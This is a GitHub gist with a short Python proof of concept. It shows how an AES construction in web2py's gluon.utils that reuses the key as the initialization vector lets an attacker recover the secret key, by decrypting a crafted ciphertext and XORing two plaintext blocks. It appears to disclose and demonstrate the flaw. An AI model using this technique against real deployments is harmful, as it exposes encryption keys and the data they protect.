Skip to content

Instantly share code, notes, and snippets.

@mwielgoszewski
Last active December 11, 2015 19:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mwielgoszewski/4649506 to your computer and use it in GitHub Desktop.
Save mwielgoszewski/4649506 to your computer and use it in GitHub Desktop.
The following exploits AES constructions that use the Key as Initialization Vector. See http://www.gnu.org/software/shishi/manual/html_node/Key-as-initialization-vector.html for details.
from gluon.utils import AES_new
KEY = 'testtesttesttest'
PLAINTEXT = 'The quick brown fox jumped over the lazy dog.The quick brown fox'
def xor(a, b):
return bytearray(x ^ y for x, y in zip(a, b))
def exploit():
# ciphertext produced by web2py
ctext = bytearray(AES_new(KEY).encrypt(PLAINTEXT))
# our (malformed) ciphertext we plan to feed to web2py
mtext = ctext[:16] * 4
mtext[16:32] = [0x0] * 16
# if at any point we identify what the decrypted data is
ptext = bytearray(AES_new(KEY).decrypt(str(mtext)))
# we can easily recover the secret key used:
print('KEY: %s' % (str(xor(ptext[:16], ptext[32:48])), ))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment